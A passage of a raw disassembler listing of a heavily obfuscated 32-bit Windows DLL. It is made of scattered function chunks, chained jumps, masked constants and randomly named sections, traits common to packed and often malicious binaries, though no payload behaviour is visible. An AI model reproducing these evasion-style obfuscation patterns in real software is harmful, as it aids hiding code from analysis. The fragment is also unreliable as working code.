sub_10016D04 loc_100154BF: ; CODE XREF: sub_10016D04+3E8j or ebx, 0FD358897h rol ecx, 1Eh loc_100154C8: ; CODE XREF: sub_10016D04:loc_10014C16j call sub_10013310 mov edx, 0DDABAF17h push eax push 0E436A5A2h pop eax jmp loc_100193A6 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100154DE: ; CODE XREF: sub_10019409+14ECj jnb loc_1001B819 pop esi js loc_10019741 push ecx loc_100154EC: ; CODE XREF: sub_10019409:loc_10014200j call sub_100180C2 mov edx, 17B3C1CFh call sub_1001534D jmp loc_10015E02 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10015500: ; CODE XREF: sub_1001492C+2B61j test esi, 18DC0B78h jmp loc_1001DF3B ; END OF FUNCTION CHUNK FOR sub_1001492C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001550C: ; CODE XREF: sub_10019571+1FB5j jmp loc_1001D6DC ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_10015511: ; CODE XREF: sub_1001D201:loc_1001CE20j jg loc_1001CC16 jmp loc_10018116 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001551C: ; CODE XREF: sub_10013389+125j jz loc_1001D684 jmp loc_1001AC36 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_10015527: ; CODE XREF: sub_1001492C+6726j jnz loc_1001A583 jmp loc_1001412B ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CB33 loc_10015532: ; CODE XREF: sub_1001CB33:loc_10015B9Aj adc ebp, 0F8D83673h sub edx, 2D9BBDACh add ebp, ecx jmp loc_100134A0 ; END OF FUNCTION CHUNK FOR sub_1001CB33 ; --------------------------------------------------------------------------- rol ecx, 0Ch jmp loc_100199B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACA5 loc_1001554D: ; CODE XREF: sub_1001ACA5+3162j xor ecx, 0F627C342h add edx, ecx pop ecx mov edx, [edx] imul byte ptr [edx] call sub_10017FE2 ; END OF FUNCTION CHUNK FOR sub_1001ACA5 ; =============== S U B R O U T I N E ======================================= sub_1001555F proc near ; CODE XREF: an.kk9rg:1001772Aj ; sub_1001B5A3+Ep xchg ecx, [esp+0] pop ecx call sub_1001C8CE push offset loc_1001601A jmp nullsub_17 sub_1001555F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10015572: ; CODE XREF: sub_1001564A-54j push 537D81C9h jmp loc_10019B2D ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B413 loc_1001557C: ; CODE XREF: an.kk9rg:loc_10018792j ; sub_1001B413+Dj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001B413 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015580: ; CODE XREF: an.kk9rg:10018FA1j jmp nullsub_139 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100178C9 loc_10015585: ; CODE XREF: sub_100178C9-29EFj jmp loc_1001C162 ; END OF FUNCTION CHUNK FOR sub_100178C9 ; =============== S U B R O U T I N E ======================================= sub_1001558A proc near ; CODE XREF: sub_100138FD+Fp ; sub_10019030-17FAp ; FUNCTION CHUNK AT 10014BBD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018194 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019668 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DBBE SIZE 0000001D BYTES push ebp jmp loc_10019668 sub_1001558A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10015590: ; CODE XREF: sub_100174F4:loc_100174FFj add edi, 9919F478h mov ebp, [esi] jnp loc_1001CB88 rol ebp, 18h jmp loc_100132B5 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015792 loc_100155A6: ; CODE XREF: sub_10015792:loc_10016CCFj add eax, ebp add eax, 9C6DC667h mov eax, [eax] push offset sub_10016FD0 jmp nullsub_197 ; END OF FUNCTION CHUNK FOR sub_10015792 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_100155BA: ; CODE XREF: sub_1001537B+4B3Fj jns loc_10018F5D sbb eax, edi ; END OF FUNCTION CHUNK FOR sub_1001537B ; START OF FUNCTION CHUNK FOR sub_1001767A loc_100155C2: ; CODE XREF: sub_1001767A+8j ; sub_1001767A:loc_100191D2j ... jmp loc_10015B61 ; --------------------------------------------------------------------------- loc_100155C7: ; CODE XREF: sub_1001767A+31DCj ; sub_1001537B+6289j call sub_10016769 ; END OF FUNCTION CHUNK FOR sub_1001767A ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100155CC: ; CODE XREF: sub_10019409:loc_100198D4j xor edx, [ebx+ecx+4] jmp loc_1001D9FD ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_100155D5: ; CODE XREF: sub_1001564A:loc_10017AF2j push offset loc_100198FD jmp nullsub_78 ; --------------------------------------------------------------------------- loc_100155DF: ; CODE XREF: sub_1001564A:loc_10014729j jnz loc_10019B2D xor ecx, 0D61E1DD3h shr edx, 6 loc_100155EE: ; CODE XREF: an.kk9rg:1001ADD6j js loc_1001A9DE add esi, edi jmp loc_10015572 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_100155FB: ; CODE XREF: sub_10016D66:loc_10017E7Cj jnz loc_10014F63 jmp loc_10016A04 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- jz loc_1001C1EC add edi, 9E4F6306h jmp sub_1001DD8B ; --------------------------------------------------------------------------- loc_10015617: ; DATA XREF: sub_10013061+68Eo xchg ecx, [esp] push ebx mov ebx, esi xchg ebx, [esp] call sub_10015712 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015626: ; CODE XREF: an.kk9rg:1001634Dj jmp sub_1001534D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001562B: ; CODE XREF: sub_1001456F:loc_10014EECj jmp loc_100150D9 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- loc_10015630: ; CODE XREF: an.kk9rg:1001D7F7j shr edx, 9 ; =============== S U B R O U T I N E ======================================= sub_10015633 proc near ; CODE XREF: sub_10013688:loc_10016352p ; FUNCTION CHUNK AT 10014E12 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CD07 SIZE 0000000C BYTES xchg eax, [esp+0] pop eax push eax loc_10015638: ; CODE XREF: an.kk9rg:1001A32Bj jmp loc_10014E12 sub_10015633 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001563D: ; CODE XREF: sub_1001564A:loc_1001A52Ej xor esi, 0E1B99239h test edi, edx loc_10015645: ; CODE XREF: an.kk9rg:10019F3Dj jmp loc_10016227 ; END OF FUNCTION CHUNK FOR sub_1001564A ; =============== S U B R O U T I N E ======================================= sub_1001564A proc near ; CODE XREF: sub_10018066:loc_10013A50p ; an.kk9rg:10016945j ; FUNCTION CHUNK AT 10014729 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100152A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015572 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100155D5 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 1001563D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10016227 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100171AC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017AF2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018E03 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018F8C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019026 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001969A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100197CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019B2D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019D7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A529 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001A9DE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B6FB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001C5F2 SIZE 00000007 BYTES xchg eax, [esp+0] pop eax push eax push 8850FCDCh pop eax rol eax, 8 jmp loc_10019026 sub_1001564A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001565D: ; CODE XREF: an.kk9rg:loc_10017C0Dj ; an.kk9rg:10019969j ror edx, 1Eh ; START OF FUNCTION CHUNK FOR sub_10015276 loc_10015660: ; CODE XREF: sub_10015276:loc_10019958j sub eax, 97E65923h ; END OF FUNCTION CHUNK FOR sub_10015276 ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10015666: ; CODE XREF: sub_10015E0D:loc_10013A00j jnz loc_100138CE mov edi, [eax] sbb esi, 30AE1B18h jp loc_1001C489 jmp loc_100138CE ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001567F: ; CODE XREF: sub_10016167:loc_10016070j test edx, 238F97Dh jmp loc_10019D4C ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_1001568A: ; CODE XREF: an.kk9rg:100130FCj jbe loc_10017B03 ; =============== S U B R O U T I N E ======================================= sub_10015690 proc near ; CODE XREF: sub_100138FD:loc_1001AB9Fp xchg ecx, [esp+0] pop ecx pop ebp retn 0Ch sub_10015690 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10015699: ; CODE XREF: an.kk9rg:10017BB1j jmp loc_1001A957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001569E: ; CODE XREF: sub_10013389+317Aj jmp loc_1001991D ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_100156A4: ; CODE XREF: sub_1001893F-1FC0j jmp loc_10019E43 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100156CB loc_100156A9: ; CODE XREF: sub_100156CB+11j jmp loc_100176C5 ; END OF FUNCTION CHUNK FOR sub_100156CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AC73 loc_100156AE: ; CODE XREF: sub_1001AC73+9j push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jnz loc_10016238 sub al, 99h push 86B4A95Eh not edx jmp loc_10018F58 ; END OF FUNCTION CHUNK FOR sub_1001AC73 ; =============== S U B R O U T I N E ======================================= sub_100156CB proc near ; DATA XREF: sub_10013389+908Bo ; FUNCTION CHUNK AT 100156A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100176C5 SIZE 0000000B BYTES xor edx, 48F402B9h add eax, edx pop edx loc_100156D4: ; CODE XREF: an.kk9rg:1001373Dj mov [ebp-4], eax mov eax, [ebp-10h] test eax, eax jmp loc_100156A9 sub_100156CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100156E1: ; CODE XREF: sub_100180C2+217Ej add edx, 36D442AFh xchg edx, [esp+0Ch+var_C] jmp loc_1001A9C1 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150E1 loc_100156EF: ; CODE XREF: sub_100150E1+1Cj add ecx, 0B2996A41h xchg ecx, [esp+4+var_4] jmp loc_1001CAD1 ; END OF FUNCTION CHUNK FOR sub_100150E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100156FD: ; CODE XREF: sub_10013999+1E1Cj ; sub_10013999:loc_1001CD57j call sub_100180C2 mov edx, 0BB931B55h call sub_1001534D push ebp jmp loc_10017AC7 ; END OF FUNCTION CHUNK FOR sub_10013999 ; =============== S U B R O U T I N E ======================================= sub_10015712 proc near ; CODE XREF: an.kk9rg:10015620p ; an.kk9rg:1001DF62j var_10 = dword ptr -10h ; FUNCTION CHUNK AT 10017B8D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BA77 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax push edi push ebx push ecx mov eax, esp push 0 jmp loc_10017B8D sub_10015712 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CBA8 loc_10015722: ; CODE XREF: sub_1001CBA8-76FBj jz loc_100163E0 adc ecx, 98D60CDEh adc eax, 0D5687CC2h jmp loc_10017F60 ; END OF FUNCTION CHUNK FOR sub_1001CBA8 ; --------------------------------------------------------------------------- loc_10015739: ; CODE XREF: an.kk9rg:100160D5j sub al, 99h mov edx, [ebp-4] jmp loc_1001D095 ; =============== S U B R O U T I N E ======================================= sub_10015743 proc near ; CODE XREF: an.kk9rg:loc_1001A271j ; DATA XREF: sub_10018330:loc_10013ADBo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014BDC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001715C SIZE 00000018 BYTES push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] push edi push 0DEB0C0CEh pop edi rol edi, 12h jmp loc_1001715C sub_10015743 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FD0 loc_10015758: ; CODE XREF: sub_10016FD0:loc_100174ABj xchg esi, ebx jmp loc_100172FE ; END OF FUNCTION CHUNK FOR sub_10016FD0 ; --------------------------------------------------------------------------- xchg ecx, [eax] jmp sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10015766: ; CODE XREF: sub_1001B096:loc_1001511Ej xor edx, 5FF111FCh and edx, 5552644Eh test edx, 40000h jmp loc_10018ADF ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001577D: ; CODE XREF: sub_10019E2E:loc_1001D7B4j pushf or edx, ebx jmp loc_10019C03 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_10015785: ; CODE XREF: an.kk9rg:10016F43j adc ebp, ecx jmp sub_100163BA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100198E6 loc_1001578D: ; CODE XREF: sub_100198E6+Aj jmp loc_10016C09 ; END OF FUNCTION CHUNK FOR sub_100198E6 ; =============== S U B R O U T I N E ======================================= sub_10015792 proc near ; CODE XREF: sub_1001504E:loc_10014FFDp ; an.kk9rg:1001A7B8j ; FUNCTION CHUNK AT 100155A6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016CCF SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 517BA346h pop eax sub eax, 7E4BBE76h add eax, 906254C5h jmp loc_10016CCF sub_10015792 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100157AD: ; CODE XREF: sub_10013999+53F4j js loc_100181EC or edx, esi jmp loc_100156FD ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_100157BA: ; CODE XREF: sub_100136FF:loc_10018081j and esi, 0D854F6E2h cmp esi, 89F01B60h jmp loc_10018B9D ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100157CB: ; CODE XREF: sub_10017A58+2A3Bj or eax, ds:100000CAh sub eax, 4FD8F5Ch xor eax, 0B9C33640h add eax, ebp call sub_1001CF40 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100157E4: ; CODE XREF: sub_1001B5A3-2DCj jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_100157E9: ; CODE XREF: sub_10015BFC+4905j jmp loc_100176BA ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_100157EE: ; CODE XREF: an.kk9rg:1001AEB7j test ebp, ebx jmp loc_10019107 ; --------------------------------------------------------------------------- loc_100157F5: ; DATA XREF: sub_1001DD1D:loc_10018E33o mov eax, [esp] ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100157F8: ; CODE XREF: sub_10017A58+DEBj push edx call sub_10013372 mov eax, 7DA6ACC0h push offset sub_1001384D jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001580D: ; CODE XREF: sub_10015066+34ADj ; an.kk9rg:10018529j and eax, 757C4C29h xor eax, 0D7ADC231h add eax, 3827E254h xchg eax, [esp+0] jmp loc_1001801D ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- loc_10015827: ; CODE XREF: an.kk9rg:1001CADCj adc eax, 7FA5EAA6h ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001582D: ; CODE XREF: sub_10018066+4A65j add edi, 4EC56107h add edi, ebp add edi, 0D58E27EFh jmp loc_1001D0C5 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10015840: ; CODE XREF: sub_1001679F+Aj ; an.kk9rg:loc_10019229j call sub_10016A1B loc_10015845: ; CODE XREF: sub_10016B20:loc_100196A4j push ecx mov esp, ebp pop ebp mov eax, ds:dword_1001D744 jmp loc_10016378 ; END OF FUNCTION CHUNK FOR sub_1001679F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10015855: ; CODE XREF: sub_100136D7+1238j jmp loc_10014D09 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001585B: ; CODE XREF: an.kk9rg:1001CF32j jmp sub_100188A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10015860 proc near ; CODE XREF: sub_100180C2+13Ep ; FUNCTION CHUNK AT 100167AF SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_100167AF sub_10015860 endp ; =============== S U B R O U T I N E ======================================= sub_10015868 proc near ; DATA XREF: sub_1001D913+1o call sub_1001DBEB jmp loc_1001C89F sub_10015868 endp ; --------------------------------------------------------------------------- mov eax, [ebp-4] push eax push eax call sub_1001924A ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001587C: ; CODE XREF: sub_100141F5+6810j jmp loc_1001C997 ; END OF FUNCTION CHUNK FOR sub_100141F5 ; --------------------------------------------------------------------------- loc_10015881: ; CODE XREF: an.kk9rg:loc_10015E4Dj xor ebp, 0C23D37AAh sub edx, ebp push edx jmp loc_1001B909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_1001588F: ; CODE XREF: sub_10015DB9:loc_10019658j js loc_10015B33 sub al, 99h push 804E93ADh pop edx and edx, 1C16387Eh call sub_1001B0B1 loc_100158A8: ; CODE XREF: sub_1001A4DF-2192j jmp loc_1001A45C ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_100158AD: ; CODE XREF: sub_10015131+10j mov [ebp-8], eax mov eax, [ebp+8] push eax mov eax, [ebp+8] call sub_1001DDD5 loc_100158BC: ; CODE XREF: sub_10017803-43j jmp loc_100169B0 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- loc_100158C1: ; CODE XREF: an.kk9rg:10014AAAj jmp loc_1001A297 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_100158C6: ; CODE XREF: sub_1001C2D8:loc_10015E68j ; sub_10017803+6229j push edi push eax sbb edi, 0B99B4A30h jmp loc_10015D8F ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E3A loc_100158D3: ; CODE XREF: sub_10015E3A-12D2j add eax, 508DBBEDh sub ebx, ebp ; END OF FUNCTION CHUNK FOR sub_10015E3A ; START OF FUNCTION CHUNK FOR sub_10017667 loc_100158DB: ; CODE XREF: sub_10017667-2BFCj ; sub_10017667-1764j ... push offset loc_1001CB75 jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_10017667 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015469 loc_100158E6: ; CODE XREF: sub_10015469:loc_10014C08j ; sub_1001664C:loc_10016F99j ror eax, 1Ch mov ds:dword_1001B724, eax retn ; --------------------------------------------------------------------------- loc_100158F0: ; CODE XREF: sub_10015469:loc_100160EAj ; sub_1001664C:loc_1001BAD3j rol eax, 1Ch push eax call sub_100174F4 retn ; END OF FUNCTION CHUNK FOR sub_10015469 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100158FA: ; CODE XREF: sub_1001A97E+1D5Aj jmp loc_1001CDAD ; END OF FUNCTION CHUNK FOR sub_1001A97E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_10015900: ; CODE XREF: sub_1001D4C9-C00j jmp loc_1001D4D6 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10015905: ; CODE XREF: sub_10013389:loc_100133C4j ; sub_1001DB5F:loc_100187B1j push offset loc_100177FF jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001590F proc near ; DATA XREF: sub_1001B4CC-60D4o ; FUNCTION CHUNK AT 1001382B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AAEC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001D9F7 SIZE 00000006 BYTES xor eax, 0FBC37E89h add eax, ebp push edi push 1172A34h pop edi add edi, 20D89543h jns loc_1001AAEC sub_1001590F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001592A: ; CODE XREF: sub_1001498A:loc_1001AA94j mov ebp, esp add esp, 0FFFFFFF8h call sub_1001DE48 ; END OF FUNCTION CHUNK FOR sub_1001498A ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10015934: ; CODE XREF: sub_100138FD+449Bj jmp loc_1001D0B6 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10015939: ; CODE XREF: sub_10013044+18j ; an.kk9rg:10014E7Fj jmp loc_100137BD ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- sbb eax, edx jmp loc_100142F2 ; =============== S U B R O U T I N E ======================================= sub_10015945 proc near ; CODE XREF: sub_10015945:loc_100130DAp ; an.kk9rg:10019153j ; FUNCTION CHUNK AT 100130DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100180B7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AA2A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C99A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001D55E SIZE 00000017 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_100180B7 mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_100161D7 sub_10015945 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015964 proc near ; CODE XREF: an.kk9rg:100149AFj ; DATA XREF: vyridizn:off_10002000o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100149BF SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10014AAF SIZE 00000027 BYTES ; FUNCTION CHUNK AT 10017D30 SIZE 0000000C BYTES push eax push 0A0BFFF1Bh pop eax add eax, 96C20944h rol eax, 16h or eax, 9D30CC3Bh add eax, 70035CF4h xchg eax, [esp+4+var_4] jmp loc_100149BF sub_10015964 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015988 proc near ; CODE XREF: sub_10013061+646Bp ; an.kk9rg:1001A73Bj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100148FC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10016E76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016F4F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017406 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001811B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001866F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10018C1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019468 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019C71 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001A156 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A665 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B8FE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C85B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D1D0 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi mov edx, [edx] loc_1001598E: ; CODE XREF: sub_10019E2E:loc_10014EFFj imul byte ptr [edx] jmp loc_10016F4F sub_10015988 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10015995 proc near ; CODE XREF: an.kk9rg:100139B1j ; sub_1001B2E2:loc_10017826p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10014D45 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100153B5 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10018005 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10018329 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10019FC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A5AA SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001AA3A SIZE 00000012 BYTES xchg ecx, [esp+0] pop ecx pop ecx jmp loc_10019FC9 sub_10015995 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001599F: ; CODE XREF: sub_10015B5D:loc_1001D54Fj test byte ptr [ebp-8], 2 jmp loc_1001C9B1 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= sub_100159A8 proc near ; CODE XREF: sub_1001492C+B89p ; an.kk9rg:1001CB4Cj xchg ecx, [esp+0] pop ecx ror eax, 14h mov ds:dword_100185DC, eax retn sub_100159A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001603C loc_100159B6: ; CODE XREF: sub_1001603C+2859j jmp loc_100151D8 ; END OF FUNCTION CHUNK FOR sub_1001603C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_100159BB: ; CODE XREF: sub_1001C185-4BF0j jmp loc_100143D7 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_100159C0: ; CODE XREF: sub_10013999+7D31j rol eax, 14h push edi jmp loc_100148DF ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- loc_100159C9: ; DATA XREF: sub_100144F5-9B8o add eax, [ebp-4] ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100159CC: 